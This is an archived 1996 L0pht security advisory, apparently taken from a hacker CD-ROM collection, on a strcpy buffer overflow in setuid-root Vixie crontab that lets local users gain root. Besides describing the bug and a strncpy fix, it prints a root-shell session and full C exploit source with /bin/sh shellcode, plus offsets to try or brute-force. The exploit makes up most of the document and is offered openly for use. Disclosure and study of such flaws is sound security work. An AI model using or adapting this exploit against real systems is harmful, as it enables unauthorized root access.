home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / crontab.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.7 KB  |  150 lines

  1. Welp, we were meaning to get this out earlier but hey - things are
  2. busy lately. Since Kevin Brintnall <kbrint@visi.com> brought up that
  3. BSD/OS and FreeBSD are also vulnerable but didn't want to
  4. post the code - we take it upon ourselves to do so.
  5.  
  6. Sorry for sitting on this for so long...
  7.  
  8.                          L0pht Security Advisory
  9.                       Advisory released Dec 17 1996
  10.                    Application: crontab (Vixie crontab)
  11.                       Severity: any local user can
  12.                           gain root priveledges.
  13.                          Author: mudge@l0pht.com
  14.  
  15. Scenario:
  16.  
  17. Due to a problem with the code in crontab, a buffer overflow exists that
  18. allows a user to overwrite the information in a saved stack frame. When
  19. the function returns, the saved frame is popped off of the stack and
  20. user supplied code can be executed.
  21.  
  22. Example:
  23.  
  24. > id
  25. uid=621 (mudge) gid=200(users)
  26. > ./cronny -92
  27. Using offset (0xefbfdbc8)
  28. # id
  29. uid=621 (mudge) euid=0(root) gid=200(users)
  30.  
  31. Description:
  32.  
  33. When crontab, a suid root program, is run with just a filename as it's
  34. only argument the argument is copied into the variable Filename[MAX_FNAME].
  35. Since this copy is done via strcpy, no bounds checking is done on the
  36. length of the string being handed in. The code snippit from crontab.c
  37. is as follows:
  38.  
  39.  
  40.   static char      Filename[MAX_FNAME];
  41.   ...
  42.  
  43.   [ from parse_args(argc, argc) ]
  44.   if (argv[optind] != NULL) {
  45.     Option = opt_replace;
  46.     (void) strcpy (Filename, argv[optind]);
  47.   }
  48.  
  49. By placing a sufficently sized string in argv[1] it is possible to overwrite
  50. the saved frame on the stack and, upon return from the routine execute
  51. machine codes of the users contruction.
  52.  
  53. Solution:
  54.  
  55. One fix to the above problem is to replace the strcpy() with strncpy().
  56.  
  57.   if (argv[optind] != NULL) {
  58.     Option = opt_replace;
  59.     (void) strncpy(Filename, argv[optind], sizeof(Filename));
  60.   }
  61.  
  62. However, this only takes care of _one_ of the exploitable buffer overflows
  63. in crontab. Finding and fixing the others is left as an excercise to the
  64. readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!]
  65.  
  66. Gratuitous plug:
  67.  
  68. OpenBSD has already fixed these problems in crontab around the date of
  69. the exploit code below, if not a ways before. Talk about an OS with
  70. pro-active security coders!
  71.  
  72. Exploit code:
  73.  
  74. /********************************************************************
  75.  * crontab buffer overflow code - mudge@l0pht.com                   *
  76.  * 10/12/96                                                         *
  77.  *                                                                  *
  78.  * So I was sitting here thinking... I know, it's a dangerous thing *
  79.  * and you ever notice that hackers seem to have a surplus of time  *
  80.  * on their hands? Well, I don't but hopefully if I keep coming out *
  81.  * with things like this it will help to perpetuate the myth.       *
  82.  *                                                                  *
  83.  * There is a really cool buffer overflow in crond that bitwrior    *
  84.  * spotted. So I figured that since the same person, Paul Vixie,    *
  85.  * wrote crontab too that the same type of errors would probably be *
  86.  * there. Sure enough!                                              *
  87.  *                                                                  *
  88.  * Ya gotta love command line overflows... just yank the code from  *
  89.  * any existing one and brute on the new program. This is almost    *
  90.  * verbatim from my modstat overflow.                               *
  91.  *                                                                  *
  92.  * try with offsets of -92, -348, 164, 296, 351 with the way this   *
  93.  * is currently setup. If these fail, brute force it <grin>.        *
  94.  *******************************************************************/
  95.  
  96. #include <stdio.h>
  97. #include <stdlib.h>
  98.  
  99. long get_esp(void)
  100. {
  101.    __asm__("movl %esp, %eax\n");
  102. }
  103.  
  104. main(int argc, char **argv)
  105. {
  106.    int i, j, offset;
  107.    char *bar, *foo;
  108.    unsigned long *esp_plus = NULL;
  109.  
  110.  
  111.    char mach_codes[] =
  112.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  113.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  114.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  115.    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  116.  
  117.  
  118.    if (argc == 2)
  119.      offset = atoi(argv[1]);
  120.  
  121.    bar = malloc(4096);
  122.    if (!bar){
  123.      fprintf(stderr, "failed to malloc memory\n");
  124.      exit(1);
  125.    }
  126.  
  127.    foo = bar;  /* copy of original ptr */
  128.  
  129.    esp_plus = (long *)bar;
  130.    for(i=0; i < 1024 ; i++)
  131.      *(esp_plus++) = (get_esp() + offset);
  132.  
  133.    printf("Using offset (0x%x)\n", (get_esp() + offset));
  134.  
  135.    bar = (char *)esp_plus;
  136.  
  137.    for(j=0; j< strlen(mach_codes); j++)
  138.      *(bar++) = mach_codes[j];
  139.  
  140.    *bar = 0;
  141.  
  142.    execl("/usr/bin/crontab", "crontab", foo, NULL);
  143. }
  144.  
  145. mudge@l0pht.com
  146. ---
  147. http://www.l0pht.com/advisories.html
  148. ---
  149.  
  150.